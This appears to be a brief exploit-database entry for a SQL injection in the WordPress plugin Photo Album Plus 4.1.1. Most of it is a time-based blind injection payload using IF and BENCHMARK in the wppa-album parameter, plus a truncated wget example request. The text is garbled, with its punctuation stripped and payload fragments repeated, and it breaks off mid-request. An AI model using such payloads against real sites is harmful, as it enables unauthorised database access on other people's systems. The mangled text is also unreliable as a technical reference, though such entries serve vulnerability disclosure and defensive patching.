WordPress Plugin Photo Album Plus 4.1.1 - SQL Injection

Exploit Title: WP Photo Album Plus 1,BENCHMARK500000000,MD5CHAR115,113,108,109,97,112,0&wppa-cover=0&wppa-occur=1 wppa-album=1 AND 1=IF21,BENCHMARK500000000,MD5CHAR115,113,108,109,97,112,0&wppa-cover=0&wppa-occur=1 e.g. wget "http://127.0.0.1/wordpress/?pageid=7&wppa-album=1 AND...